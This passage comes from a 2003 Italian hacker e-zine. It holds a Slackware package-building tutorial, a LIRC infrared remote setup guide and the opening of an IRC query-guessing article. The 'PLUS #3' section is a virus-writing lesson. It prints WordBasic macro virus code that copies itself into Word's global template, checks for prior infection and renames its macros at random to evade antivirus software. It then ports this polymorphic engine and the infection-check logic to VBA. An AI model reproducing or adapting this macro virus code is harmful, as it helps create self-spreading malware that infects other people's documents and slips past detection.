printf("Ciaoooooooooooo\n"); | | | | } | | | | | | bash# halt | | | | | | | | ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... | | | | | | | | ORA SI PUO' SPEGNERE IL COMPUTER! | | | | | | | | ahahaha scherzo ;) | | | | -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- | | | | _________________________________ | | | | | E-mail: spyro2600[at]yahoo.it | | | | | | Url: www.spyrohack.com | | | _________________________________| | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ LiNUX #09 - 01/06/2003 | | PKGT00L E SLACKWARE PACKAGES [spyro] 0x0A/0x20 | +--------------------------------------------------------------------------+ | | | | | Salve ragazzi, oggi tratteremo di un argomento utile di cui ho trovato | | poco materiale in rete: | | | | Pkgtool e la costruzione degli appositi pacchetti | | | | Il perchè di questo testo? | | Come dicevo sopra, si trova poco e nulla a riguardo e poi per chi usa | | slackware torna molto utile usare pkgtool e creare i propi pacchetti in | | modo da gestire meglio la propia box. | | | | PKGTOOL | | | | Pkgtool è un tool che serve a gestire i pacchetti della distribuzione | | slackware. | | Con pkgtool inoltre è possibile installare e disinstallare i vari | | programmi senza alcun problema. | | Questo programma può essere eseguito da console grazie alla sua | | gradevole interfaccia creata con ncurser. | | I pacchetti di slackware nn sono altro che binari compressati con | | estensione .tgz | | Questo tipo di file puo` avere i binari dei programmi gia` compilati | | percio` pronti da usare, (lanciando semplicemente l'eseguibile) oppure | | puo` contenere i sorgenti dei programmi, compilabili in un secondo | | tempo. Pkgtool riconosce SOLTANTO i file pacchettati con l'estensione | | TGZ per cui se aveste ad esempio dei programmi rpm o tar.gz questi non | | verrebbero visualizzati nella lista. | | Adesso analizziamo il menù che ci apparirà eseguendo il programma: | | | | | | CURRENT: installa il package dalla directory di lavoro corrente. (cioe` | | da una predefinita) | | | | OTHER: installa il package da una dir che decidiamo noi, ad esempio | | copiando i tgz nella nostra homedir, dando come | | path /home/spyro. | | | | FLOPPY: installa i tgz che trovano in un floppy. In genere se li trova | | da solo,se cosi non fosse specifichiamo /dev/fd0. | | | | REMOVE: lista tutti i pacchetti TGZ installati nel sistema e ci chiede | | quali vogliamo eliminare. Equivale a rpm -e pacchetto.rpm. | | | | VIEW: Mostra tutti i files che costituiscono il programma che stiamo | | per installare. Molto comodo per vedere cosa ci manca. | | | | Pkgtool comprende altri comandi simili, di cui alcuni vedremo come | | usarli in seguito, tipo: | | | | 1)installpkg | | 2)removepkg | | 3)upgradepkg | | 4)makepkg | | 5)explodepkg | | | | | | 1)Installpkg gestisce l'installazione dei pacchetti Slackware. Perche' | | l'installazione avvenga correttamente, occorre che i file siano stati | | memorizzati con l'informazione delle directory a partire da quella | | principale, la radice, perche' `installpkg' installa proprio a | | partire dalla directoryradice. | | | | 2)Remopkg gestisce la disinstallazione dei pacchetti applicativi | | installati secondo lo standarddella distribuzione Slackware. | | Se viene utilizzata l'opzione `-warn', l'operazione viene soltanto | | simulata. | | | | 3)Upgradepkg, aggiorna un pacchetto, disinstallando prima il pacchetto | | vecchio e inserendo dopo quello nuovo.Se il nome del pacchetto e` lo | | stesso, non richiede l'indicazione del nome nuovo. | | | | 4)Makepkg gestisce la creazione di archivi `.tgz' (tar+gzip) secondo lo | | standard dei pacchettiapplicativi della distribuzione Slackware. | | | | 5)Explodepkg gestisce l'estrazione di archivi tar+gzip (`.tar.gz' o | | `.tgz') nella directory corrente. | | | | SLACKWARE'S PACKET | | | | Per creare un paccketto per slackware abbiambo bisogno: | | | | 1) Sorgenti del programma che vogliamo rendere pacchetto per slack | | | | 2) Usare tool: makepkg | | | | 3) Usare tool: installpkg | | | | | | L'esempio che terrò adesso si baserà sul programma ncftp. | | Un piccolo client FTP, niente di eccezzionale. | | Andate sul sito: | | | | www.freshmeat.net | | | | e cercate ncftp, altrimenti potete trovarlo al seguente url: | | | | http://www.ncftp.com/download/ | | | | Mi baserò sulla versione 3.1.4, ultima rilasciata al momento della | | stesura di questo testo. | | Il file dovrebbe avere le dimensioni di circa 480Kb . | | Adesso che abbiamo tutto il materiale cominciamo: | | | | Prima di tutto creiamo un dir temporanea di lavoro, questo xchè | | compileremo il programma da impacchettare al suo interno. | | | | Ad esempio: mkdir /tmp/ncftp | | | | (Quasi mi scordavo....creare pacchetti, disinstallarli, installarli, | | richiede permessi di root) | | | | Con questo comando abbiamo creato la nostra dir di lavoro. | | Adesso scompattiamo i sorgenti di ncftp compressi: | | | | tar xvfz ncftp-3.1.4-src.tar.gz | | | | e poi: | | | | cd ncftp-3.1.4/ | | | | Adesso, cosa da fare sempre prima di avviare l'installazione di un | | programma, leggiamo il readme per eventuali avvertenze o dipendenze. | | Dopo lanciamo lo script di configure, con lopzione --help . | | Questo per gestire la configurazione di esso: | | | | ./configure --help | | | | | | Usage: configure [options] [host] | | Options: [defaults in brackets after descriptions] | | Configuration: | | --cache-file=FILE cache test results in FILE | | --help print this message | | --no-create do not create output files | | --quiet, --silent do not print `checking...' messages | | --version print the version of autoconf that created | | configure | | Directory and file names: | | --prefix=PREFIX install architecture-independent files in | | PREFIX | | [/usr/local] | | --exec-prefix=EPREFIX install architecture-dependent files in | | EPREFIX | | [same as prefix] | | --bindir=DIR user executables in DIR [EPREFIX/bin] | | --sbindir=DIR system admin executables in DIR [EPREFIX/sbin] | | --libexecdir=DIR program executables in DIR [EPREFIX/libexec] | | --datadir=DIR read-only architecture-independent data in DIR | | [PREFIX/share] | | --sysconfdir=DIR read-only single-machine data in DIR | | [PREFIX/etc] | | --sharedstatedir=DIR modifiable architecture-independent data in | | DIR [PREFIX/com] | | --localstatedir=DIR modifiable single-machine data in DIR | | [PREFIX/var] | | --libdir=DIR object code libraries in DIR [EPREFIX/lib] | | --includedir=DIR C header files in DIR [PREFIX/include] | | --oldincludedir=DIR C header files for non-gcc in DIR | | [/usr/include] | | --infodir=DIR info documentation in DIR [PREFIX/info] | | --mandir=DIR man documentation in DIR [PREFIX/man] | | --srcdir=DIR find the sources in DIR [configure dir or ..] | | --program-prefix=PREFIX prepend PREFIX to installed program names | | --program-suffix=SUFFIX append SUFFIX to installed program names | | --program-transform-name=PROGRAM | | run sed PROGRAM on installed program names | | Host type: | | --build=BUILD configure for building on BUILD [BUILD=HOST] | | --host=HOST configure for HOST [guessed] | | --target=TARGET configure for TARGET [TARGET=HOST] | | Features and packages: | | --disable-FEATURE do not include FEATURE (same as | | --enable-FEATURE=no) | | --enable-FEATURE[=ARG] include FEATURE [ARG=yes] | | --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] | | --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) | | --x-includes=DIR X include files are in DIR | | --x-libraries=DIR X library files are in DIR | | --enable and --with options recognized: | | --disable-ccdv disable use of ccdv program in Makefiles | | --without-curses do not try to find and use the curses library | | --enable-debug enable debugging symbols | | --without-ncurses do not try to find and use the ncurses library | | --with-socks5 try to find and use the SOCKS5 library | | | | | | Come possiamo notare ci sono tante opzioni che possiamo dare al | | configure, ma a noi interessain particolare quella: | | | | --prefix=PREFIX install architecture-independent files in | | PREFIX | | | | Vi state chiedendo a cosa serve? | | L'opzione "--prefix" è molto comune nei programmi distribuiti | | da sorgente e serve a specificare un PATH di installazione | | personalizzato. | | Nel caso stiate per compilare un programma che è solo una versione | | nuova di un programma già in vostro possesso, vi consiglio di | | controllare in quale path si trova quello installato, in modo tale | | usarlo come argomento per "--prefix" e rendere più facile l'eventuale | | aggiornamento successivamente. | | | | Tutto chiaro? | | Spero di si. | | Diamo il comando: | | | | ./configure --prefix=/tmp/ncftp | | | | Quando avrà finito la configurazione, e avrà creato il Makefile, diamo | | il solito comando di compilazione: | | | | make && make install | | | | (se state compilando da user nn privilegiato, date make e poi da root | | make install) | | | | Finita la compilazione, troveremo i nostri bei binari nella | | dir /tmp/ncftp | | Entriamo, e prepariamoci all'archiviazione e compressione in .tgz | | | | cd /tmp/ncftp | | | | e poi: | | | | makepkg ncftp-3.1.4.tgz | | | | A questo punto makepkg provvederà a creare il pacchetto per slackware. | | Installerà anche dei link simbolici se necessario, ma per | | sicurezza,prima di dare il comando makepkg, controlliamo se tutti i | | file e licenze varie siano contenuti nella nostra directory temporanea | | di lavoro. | | Nel caso vogliamo mettere dei comandi aggiuntivi, tipo un ulteriore | | compilazione o una configurazione di etc, possiamo farlo creando | | all'interno della dir di lavoro lo script di nome: | | | | doinst.sh | | | | Il pacchetto prima di essere archiviato, vi farà una domanda del tipo: | | | | | | Slackware package maker, version 2.0. | | | | Searching for symbolic links: | | | | No symbolic links were found, so we won't make an installation script. | | You can make your own later in ./install/doinst.sh and rebuild the | | package if you like. | | | | This next step is optional - you can set the directories in your package | | to some sane permissions. If any of the directories in your package have | | special permissions, then DO NOT reset them here! | | | | Would you like to reset all directory permissions to 755 (drwxr-xr-x) | | and directory ownerships to root.root ([y]es, [n]o)? | | | | | | Adesso, a seconda delle vostre esigenze, risponderete yes o no per | | settare i permessi adeguati. | | | | Appena fatta la nostra scelta verrà finalizzato il pacchetto: | | | | | | Creating tar file ncftp-3.1.4.tar... | | | | ./ | | bin/ | | bin/ncftp | | bin/ncftpget | | bin/ncftpput | | bin/ncftpls | | bin/ncftpbatch | | bin/ncftpspooler | | bin/ncftpbookmarks | | etc/ | | man/ | | man/man1/ | | man/man1/ncftp.1 | | man/man1/ncftpget.1 | | man/man1/ncftpput.1 | | man/man1/ncftpbatch.1 | | man/man1/ncftpspooler.1 | | man/man1/ncftpls.1 | | | | | | Gzipping ncftp-3.1.4.tgz... | | | | Renaming ncftp-3.1.4.tar.gz to ncftp-3.1.4.tgz... | | | | Package creation complete. | | | | | | Benissimo, abbiamo creato il nostro primo pacchetto per slackware!! | | Portiamo fuori dalla dir. temporanea il nostro pacchetto: | | | | mv ncftp-3.1.4.tgz ../ncftp-3.1.4.tgz | | | | Ora il nostro pacchetto è fuori dalla dir temporanea. | | Cosa ci resta da fare? | | Testarlo no? vediamo se funziona. | | Per installare un pacchetto slackware, si deve usare il comando: | | | | installpkg | | | | quindi: | | | | installpkg ncftp-3.1.4.tgz | | | | l'output, scanso modifiche, sarà: | | | | Installing package ncftp-3.1.4... | | PACKAGE DESCRIPTION: | | | | e ci tornerà il prompt dei comandi della shell. | | Se l'output sarà simile a quello che ho riportato di sopra, beh..il | | nostro paccheto è stato installato senza problemi. | | | | Diamo il comando: ncftp | | | | e dovrebbe partire il client ftp: | | | | spyro@darkstar:~$ ncftp | | NcFTP 3.1.4 (Jul 02, 2002) by Mike Gleason (ncftp@ncftp.com). | | ncftp> | | | | Funziona ;))) | | | | Ora che funziona,se nn ve ne fate di nulla potete rimuoverlo eseguento | | pkgtool e scegliendo nel menu: remove | | Altrimenti potete dare il comando: | | | | removepkg ncftp-3.1.4.tgz | | | | Removing package /var/log/packages/ncftp-3.1.4... | | Removing files: | | --> Deleting /bin/ncftp | | --> Deleting /bin/ncftpbatch | | --> Deleting /bin/ncftpbookmarks | | --> Deleting /bin/ncftpget | | --> Deleting /bin/ncftpls | | --> Deleting /bin/ncftpput | | --> Deleting /bin/ncftpspooler | | --> Deleting /man/man1/ncftp.1 | | --> Deleting /man/man1/ncftpbatch.1 | | --> Deleting /man/man1/ncftpget.1 | | --> Deleting /man/man1/ncftpls.1 | | --> Deleting /man/man1/ncftpput.1 | | --> Deleting /man/man1/ncftpspooler.1 | | --> Deleting empty directory /man/man1/ | | --> Deleting empty directory /man/ | | | | Puff...scomparso. | | | | | | RIEPILOGO E COMANDI: | | | | Slackware version: 8.1 | | | | Pkgtool version: Quelli che installa di default slack 8.1 | | | | Ncftp: 3.1.4 | | | | | | | | Anche per oggi è finita... | | | | Un saluto dal vostro SPYRO | | | | _________________________________ | | | | | E-mail: spyro2600[at]yahoo.it | | | | | | Url: www.spyrohack.com | | | _________________________________| | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ LiNUX #09 - 01/06/2003 | | LiRC [BrNoCrIsT] 0x0B/0x20 | +--------------------------------------------------------------------------+ | | | | | ........... LIRC ...............by ....... BrNoCrIsT ................. | | | | | | Siete pigri? Volete sfruttare al meglio quello che avete? ......LIRC fa | | per voi. (sembra uno spot pubblicitario :)) ) | | | | Se avete un dispositivo ad infrarossi collegato al vostro PC e usate | | linux siete a cavallo :)) possiamo utilizzarlo tranquillamente senza | | problemi. | | | | A differenza di altri SO come Windows (tanto di rispetto), Linux tratta | | questo dispositivo come una periferica di input un po particolare. | | Quindi possiamo utilizzarlo per operazioni piu' disparate: eseguire | | comandi sul sistema, controllare il mouse o addirittura scrivere | | documenti di testo. | | Tutto cio' e' dovuta dall'architettura client/server con la quale e' | | stata costruita l'applicazione, si tratta di caricare un programma | | centralizzato (server) ceh si occupa di interpetrare i segnali | | elettrici provenienti dal dispositvo remoto, e di tradurli in eventi | | che verranno poi comunicati ai vari programmi (client). Tutto cio' va | | sotto il nome di LIRC (Linux Infrared Remote Control). Dalla sua | | nascita numerosi programmi hanno potuto arricchirsi di questo supporto: | | XMMS, XawTV, GnomeRadio, ecc. | | | | Installarlo e' molto semplice, basta evitare di passare per sistemi di | | pacchettizzazione come rpm: la configurazione e l'installazione dai | | sorgenti risulta piu' semplice ed efficace, andiamo in | | http://www.lirc.org scarichiamo il file e decomprimiamolo e seguite le | | mie istruzioni: | | | | tar xjf lirc-0.6.5.tar.bz2 && cd lirc-0.6.5 && ./setup.sh | | | | Adesso ci troveremo di fronta ad un installazione grafica. | | Impostiamo con attenzione i valori nella prima sezione in base al nostro | | controller remoto: conseriamo invece, nella sezione seguente le | | impostazioni predefinite. Al terzo passo realizzera' al configurazione | | scelta, al termine possiamo compilare il tutto con il solito: | | | | make && make install .... chiaramente da root. | | | | L'ultimo passo da compiere trovare il file di configurazione con cui | | LIRC riconosce i tasti del nostro telecomando. Per vedere se il nostro | | modello di telecomando e' compatibile basta vedere nella dir " | | remotes/ " e controllare se c'e' il modello del nostro telecomando e | | copiare il file di configurazione adatto in " /etc/ " . Giunto a qui il | | nostro sistema e' pronto a gestire il telecomando, ogni volta che | | vorremo utilizzarlo dovremo avviare LIRC con il seguente comando da | | root : | | | | lircd -p 666 -d /dev/lirc | | | | Adesso l'ultimo passo, forse il piu' difficile, istruire il demone | | lircd su come rispondere alla pressione dei diversi tasti alle varie | | applicazioni. Non e' stato fatto uno standard proprio perche' esistono | | molti tipi di telecomando con tasti differenti. | | | | Abbiamo visto che LIRC si comporta come un vero server, una volta | | avviato si mette in attesa di connessioni locali o remote. | | vediamo come funziona... All'avvio, lircd apre i file di periferica | | contenuti in " /dev/lirc " corrispondenti al telecomando, e grazie | | a " /etc/lircd.conf " traduce gli identificaivi elettrici dei tasti | | ricevuti da " /dev/lirc ". | | Come abbiamo visto installare LIRC non e' sufficiente per vedere | | funzionare il telecomando con tutte le applicazioni. | | Per ognuna infatti, e' necessaria una configurazione che indichi al | | server su cosa e come tenerla aggiornata. | | Facciamo un po di pratica prendiamo un telecomando Pinnacle PCTV (e' | | l'unico che ho trovato nel negozio di mio cugino :) ) | | Supponiamo che ci sara' sufficiente sostituire i nomi dei tasti del | | dispositivo in base al contenuto del file " /etc/lircd.conf ". Per | | quanto riguarda il software provero' a fornire il supporto remoto a | | MPlayer e XMMS. | | Iniziamo.... Prendiamo il nostri editor preferito (VI r0x) :) e creiamo | | il file ".lircrc" nella notra home. Leggendo qualche documentazione | | vedo che MPlayer si identifica verso lircd con il nome "mplayer_lirc" e | | che le operazioni che permette al controllo remoto sono: PAUSE, QUIT, | | RWND, FWD, INCVOL e DECVOL. | | Una volta scelti i tasti ad associare a queste operazioni mettiamo mano | | all'editor. Inseriamo: | | | | begin | | remote = * | | prog = mplayer_lirc | | button = power | | config = QUIT | | repeat = 0 | | end | | | | La prima ed ultima riga fungono da delimitatori di sezione. | | Vediamo gli altri campi: | | | | - remote : specifica a quale controller remoto si riferisce la sezione, | | nel caso in cui sul sistema ne siano presenti piu' di | | uno. "*" estende la validita' della sezione a tutti i | | controller presenti. | | | | - prog : E' il campo piu' importante, in quanto segnala al demone LIRC | | il destinatario del messaggio da spedire. Vediamo in questo | | caso che MPlayer non si identifica con il suo nome ma | | con "mplayer_lirc". | | | | - button: Specifica il tasto alla pressione del quale avvisa il | | programma. | | | | - config: E' il campo ceh specifica a LIRC quale messaggio spedire | | all'applicazione prog alla pressione del tasto botton. | | | | - repeat: indica a LIRC come si deve comportare se il tasto viene tenuto | | premuto il valore 0 indica che deve ignorare gli impulsi | | successivi al primo, i valori n positivi indicano di ripetere | | il comando dopo n secondi, questo e' molto comodo per la | | funzione "alza_volume" e "abbassa_volume". | | | | | | ------Sezione MPlayer--------- | | | | | | | begin | | | | remote = * | | | | prog = mplayer_lirc | | | | button = power | | | | config = QUIT | | | | repeat = 0 | | | | end | | | | | | | | begin | | | | remote = * | | | | prog = mplayer_lirc | | | | button = Vol+FF | | | | config = FWD | | | | end | | | | | | | | begin | | | | remote = * | | | | prog = mplayer_lirc | | | | button = Vol-Rew | | | | config = RWND | | | | end | | | ------------------------------ | | | | | | Per quanto riguarda XMMS il discorso e' un po piu' complesso (ma ce la | | faremo lo stesso :)) ) abbiamo bisogno del plug-in (reperibile in | | www.lirc.org) con il nome di "lirc-xmms", lo si installa con al solita | | procedura, il plug-in serve per mettere a disposizioni innumerevoli | | azioni: STOP, PLAY, PAUSE, NETX, PREV, SHUFFLE, REPEAT, FWD[sec], RWD | | [sec], VOL_UP[%], VOL_DOWN[%], BAL_LEFT[%], BAL_RIGHT[%], BAL_CENTER, | | PLAYLIST_CLEAR, ZERO, ONE, TWO, THREE,..., QUIT. | | In questa lista abbiamo visto dei parametri strani come "[sec]" | | e "[%]", adesso ve li spiego :) Il parametro [sec] definisce il tempo | | in secondi da accelerare ad ogni messaggio di "avanti" o "indietro", | | mentre il campo [%] definisce la procedura di aumento o diminuizione | | del volume. Adesso ci e' sufficiente sapere che per XMMS si identifica | | presso LIRC con "xmms". | | | | | | | | | | | | ---------Sezione XMMS------------- | | | | | | | begin | | | | remote = PinnacleSySPCTVRemote | | | | prog = xmms | | | | button = Chan+Play | | | | config = PLAY | | | | config = PAUSE | | | | end | | | | | | | | begin | | | | remote = PinnacleSySPCTVRemote | | | | prog = xmms | | | | repeat = 1 | | | | button = Vol+FF | | | | config = FWD 3 | | | | end | | | | | | | | begin | | | | remote = PinnacleSySPCTVRemote | | | | prog = xmms | | | | button = quit | | | | config = QUIT | | | | end | | | ---------------------------------- | | | | | | ________________________________T_N_X________________________________ | | | | | | Un grazie specialmente a Syscall che mi ha dato l'idea di questo | | tutorial, poi grazie {D4nG3r}, Resinaro, e4m, Virgeles, Nik, [Elektro] | | (che mi ha incitato a fare il tutorial), Pit, Parantido e a #mojodo | | #coding #XaLug e #campaniahack.......tnx amici | | | | | | -------FuK------- | | | | Mephisto, Bossi, Berlusconi, e il professore di matematica discreta | | all'uni.........fukkatevi :) | | | | | | BrNoCrIsT | | | | brnocrist@libero.it | | | | http://coding.cjb.net | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | PLUS #3 [Mastro] 0x0C/0x20 | +--------------------------------------------------------------------------+ | | | | | Ancora word, ancora macro, ancora approfondimenti. | | | | --- POLIFORMICI --- | | | | Per i pochi che non lo sapessero il poliformismo consiste nel cambiare | | parti di codice così che un eventuale antivirus non dia problemi | | (spiegazione molto di merda..) ;) | | Iniziamo dal nome della macro, questo è di The Nightmare Joker: | | | | ----------------------------------------- | | Sub MAIN | | On Error Goto Done | | | | A$ = FileName$() | | If A$ = "" Then Goto Finish | | | | If VInstalled = 0 Then | | Run1 | | Run2 | | FileSaveAll 1, 1 | | Else | | Goto Done | | End If | | | | Done: | | A$ = FileName$() | | If A$ = "" Then | | Goto Finish | | Else | | Insert " " | | End If | | | | Finish: | | MsgBox "polymorph", - 8 'Una MessageBox non | | guasta mai | | End Sub | | | | Sub Run1 | | X$ = Fun$(F$, G$, H$, J$) 'Chiama la function Fun | | Y$ = Fun$(F$, G$, H$, J$) 'Chiama la function Fun | | | | Z$ = X$ + Y$ 'Unisce i due valori | | | | R1$ = GetDocumentVar$("VirNameDoc") 'Salva la nuova macro con il nuovo | | nome | | CO$ = FileName$() + ":" + R1$ | | MacroCopy CO$, "Global:" + Z$ | | SetProfileString "Intl", "Info2", Z$ | | ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = | | Z$, .Add, .Context = 0 'Questo non lo so, ha qualcosa a che fare | | con le barre dei pulsanti. Credo che ne inserisca una collegata alla | | macro | | End Sub | | | | Sub Run2 | | X$ = Fun$(F$, G$, H$, J$) 'Idem come sopra | | Y$ = Fun$(F$, G$, H$, J$) | | | | Z$ = X$ + Y$ | | | | R2$ = GetDocumentVar$("VirName") 'Idem come sopra | | OC$ = FileName$() + ":" + R2$ | | MacroCopy OC$, "Global:" + Z$ | | SetProfileString "Intl", "Info1", Z$ | | ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = | | Z$, .Add, .Context = 0 | | End Sub | | | | Function VInstalled 'Verifica se il | | documento è già infettato | | CC$ = GetProfileString$("Intl", "Info1") | | VInstalled = 0 | | If CountMacros(0) > 0 Then | | For i = 1 To CountMacros(0) | | If MacroName$(i, 0) = CC$ Then | | VInstalled = 1 | | End If | | Next i | | End If | | End Function | | | | Function Fun$(F$, G$, H$, J$) 'Ecco il vero | | motore del poliformismo | | One = 1169 | | Two = 9294 | | Num = Int(Rnd() * (Two - One) + One) 'Genera in numero a caso | | compreso tra 1169 e 9294 | | A$ = Str$(Num) | | A$ = LTrim$(A$) | | | | B$ = Mid$(A$, 1, 1) | | C$ = Mid$(A$, 2, 1) | | D$ = Mid$(A$, 3, 1) | | E$ = Mid$(A$, 4, 1) | | | | If B$ = "1" Then F$ = "A" 'Crea il nome con cui | | salvare la macro | | If B$ = "2" Then F$ = "B" | | If B$ = "3" Then F$ = "C" | | If B$ = "4" Then F$ = "D" | | If B$ = "5" Then F$ = "E" | | If B$ = "6" Then F$ = "F" | | If B$ = "7" Then F$ = "G" | | If B$ = "8" Then F$ = "H" | | If B$ = "9" Then F$ = "I" | | If B$ = "0" Then F$ = "J" | | | | If C$ = "1" Then G$ = "H" | | If C$ = "2" Then G$ = "I" | | If C$ = "3" Then G$ = "J" | | If C$ = "4" Then G$ = "K" | | If C$ = "5" Then G$ = "L" | | If C$ = "6" Then G$ = "M" | | If C$ = "7" Then G$ = "N" | | If C$ = "8" Then G$ = "O" | | If C$ = "9" Then G$ = "P" | | If C$ = "0" Then G$ = "Q" | | | | If D$ = "1" Then H$ = "A" | | If D$ = "2" Then H$ = "B" | | If D$ = "3" Then H$ = "C" | | If D$ = "4" Then H$ = "D" | | If D$ = "5" Then H$ = "E" | | If D$ = "6" Then H$ = "F" | | If D$ = "7" Then H$ = "G" | | If D$ = "8" Then H$ = "H" | | If D$ = "9" Then H$ = "I" | | If D$ = "0" Then H$ = "J" | | | | If E$ = "1" Then J$ = "R" | | If E$ = "2" Then J$ = "S" | | If E$ = "3" Then J$ = "T" | | If E$ = "4" Then J$ = "U" | | If E$ = "5" Then J$ = "V" | | If E$ = "6" Then J$ = "W" | | If E$ = "7" Then J$ = "X" | | If E$ = "8" Then J$ = "Y" | | If E$ = "9" Then J$ = "Z" | | If E$ = "0" Then J$ = "Q" | | | | Fun$ = F$ + G$ + H$ + J$ 'Nome ottenuto | | End Function | | ----------------------------------------- | | | | Non fate caso ai comandi, sono per Wordbasic, in pratica il padre delle | | macro odierne. | | Quello che ci interessa è il sistema utilizzato: generando un numero | | casuale da cui dipendono lettere casuali assegna alle macro un nome | | diverso ad ogni infezione. | | Ma come adattarlo al nostri tempi? Io l'ho vista così: | | | | ----------------------------------------- | | Sub Poliformico() | | Risultato = Fun(uno, due, tre, quattro) | | 'Chiamo la function | | Risulta = Fun(uno, due, tre, quattro) | | 'Chiamo la function | | Risultati = Risultato + Risulta | | NormalTemplate.VBProject.VBComponents("Nome_del_modulo").Name = | | Risultati 'Modifico il nome del modulo | | End Sub | | | | Function Fun(uno, due, tre, quattro) | | Primo = 1837 | | Secondo = 9452 | | Numero = Int(Rnd() * (Secondo - Primo) + Primo) | | 'Genero il numero casuale | | | | uno = Left(Numero, 1) | | 'Prendo il primo numero a sinistra | | due = Right(Numero, 1) | | 'Prendo il primo numero a destra | | tre = Mid(Numero, 2, 1) | | 'Prendo il secondo numero da destra | | quattro = Mid(Numero, 3, 1) 'Prendo | | il terzo numero da destra | | | | If uno = "1" Then uno = "A" 'Ora | | calcolo le quattro lettere | | If uno = "2" Then uno = "W" | | If uno = "3" Then uno = "Q" | | If uno = "4" Then uno = "X" | | If uno = "5" Then uno = "K" | | If uno = "6" Then uno = "j" | | If uno = "7" Then uno = "r" | | If uno = "8" Then uno = "p" | | If uno = "9" Then uno = "s" | | If uno = "0" Then uno = "h" | | | | If due = "1" Then due = "T" | | If due = "2" Then due = "Y" | | If due = "3" Then due = "E" | | If due = "4" Then due = "B" | | If due = "5" Then due = "Z" | | If due = "6" Then due = "w" | | If due = "7" Then due = "i" | | If due = "8" Then due = "o" | | If due = "9" Then due = "u" | | If due = "0" Then due = "n" | | | | If tre = "1" Then tre = "H" | | If tre = "2" Then tre = "L" | | If tre = "3" Then tre = "C" | | If tre = "4" Then tre = "T" | | If tre = "5" Then tre = "I" | | If tre = "6" Then tre = "q" | | If tre = "7" Then tre = "a" | | If tre = "8" Then tre = "z" | | If tre = "9" Then tre = "f" | | If tre = "0" Then tre = "m" | | | | If quattro = "1" Then quattro = "F" | | If quattro = "2" Then quattro = "R" | | If quattro = "3" Then quattro = "M" | | If quattro = "4" Then quattro = "B" | | If quattro = "5" Then quattro = "E" | | If quattro = "6" Then quattro = "d" | | If quattro = "7" Then quattro = "y" | | If quattro = "8" Then quattro = "x" | | If quattro = "9" Then quattro = "v" | | If quattro = "0" Then quattro = "p" | | | | Fun = uno + due + tre + quattro 'Nome | | ottenuto | | End Function | | ----------------------------------------- | | | | Ho mantenuto lo stesso principio utilizzato da Jocker. | | Ovviamente ho tralasciato la parte in cui viene verificato se il | | documento è già infetto e quella in cui viene infettato. | | A questo punto abbiamo ottenuto una macro che modifica il nome del | | modulo, non una macro poliformica. | | Se ci fate caso, assemblando questo codice con le parti che ho omesso | | otterremmo una mega-macro "cieca": non riuscendo ad identificare il | | nome del modulo (è stato cambiato) crede che il documento non sia | | ancora stato infettato, così si re-salva ancora e ancora e ancora.. | | Le soluzioni sono 2: o memorizziamo il nuovo nome del modulo da qualche | | parte, o troviamo un'altra strada. | | La seconda. | | Fino ad ora noi abbiamo verificato se il documento è stato | | infettato "leggendo" i nomi dei moduli presenti, e se il nostro non | | viene trovato facciamo sì che macro si salvi in quel documento. | | Adesso invece potremmo fare un passo avanti: al posto di leggere il | | nome del modulo ne leggiamo direttamente il codice. | | | | Lines(Riga di inizio, Riga finale) 'Legge la riga partendo da "Riga | | di inizio" fino a "Riga finale" | | | | Quindi: | | | | ---------- | | Nome = NormalTemplate.VBProject.VBComponents | | ("Nome_del_modulo").CodeModule.Lines(1, 1) | | If Nome <> "'Polymorph" Then | | 'Infetta | | End If | | ---------- | | | | Questo codice va sostituito a quello che verifica il nome del modulo, | | ovviamente in corrispondenza della linea 1 (in questo caso) dovrete | | scrivere 'Polymorph. Vanno apportate alcune modifiche: | | | | ---------- | | For i = 1 To NormalTemplate.VBProject.VBComponents.Count | | Parola = NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(6, 1) | | 'Cerchiamo la parola | | If Parola = "'Polymorph!" Then | | Risultato = 1 | | 'Impostiamo un valore a caso | | End If | | Next | | If Risultato <> 1 Then | | 'Se il valore impostato prima è diverso | | significa che nessun modulo è nostro, quindi.. | | 'Infettiamo | | End If | | End Sub | | ---------- | | | | Già che siamo in argomento vediamo anche DeleteLines e InsertLines: | | | | DeleteLines(Inizio, Fine) 'Cancella linee di codice | | InsertLines(Posizione,Stringa) 'Inserisce linee di codice | | | | NormalTemplate.VBProject.VBComponents | | ("Nome_del_modulo").CodeModule.InsertLines 6, "'Polymorph" | | NormalTemplate.VBProject.VBComponents | | ("Nome_del_modulo").CodeModule.DeleteLines 6, 1 | | | | Riassumendo, ora abbiamo ottenuto una macro che verifica se i vari | | moduli contengono una parola in particolare e, se no, infetta il | | documento. Il cambiamento del nome potete farlo anche dopo aver | | importato il modulo nel documento da infettare, decidete voi. | | Se volete che la macro sia ancora più simile a quella di Jocker, dovete | | cambiarle anche i nomi usando DeleteLines e InsertLines, ricordando | | però che AutoExec/AutoClose/... non vanno cambiati. | | Per quando riguarda questa parte abbiamo finito, nella prossima vedremo | | il poliformismo del codice. | | | | | | Mastro(macro2000@viriglio.it) | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | QUERY GUESSiNG [eazy] 0x0D/0x20 | +--------------------------------------------------------------------------+ | | | | | | | Quello che segue non è un vero e proprio articolo bensì un abbozzo di | | codice che descrive un'idea curiosa partorita dalla mia mente. | | Lo scopo che mi sono posto è quello di scrivere un programmino che sia | | in grado di prevedere con un certo margine di errore con chi è in query | | un certo utente IRC. | | | | La cosa curiosa è che tale programma non opera nessun tipo di | | dirottamento della sessione o sniffing del traffico bensì cerca di | | attuare una semplice analisi statistica dei dati che il server IRC | | stesso mette a disposizione. | | Il tutto si basa, infatti, sull'analisi del valore dell'idle degli | | utenti che viene campionato ed analizzato dal programma. | | Non mi addentrerò nella spiegazione della tecnica adottata volutamente | | per incentivare anche i più pigri di voi a leggersi qualche riga di | | codice :P | | | | Il programma prende due argomenti dalla linea di comando: | | 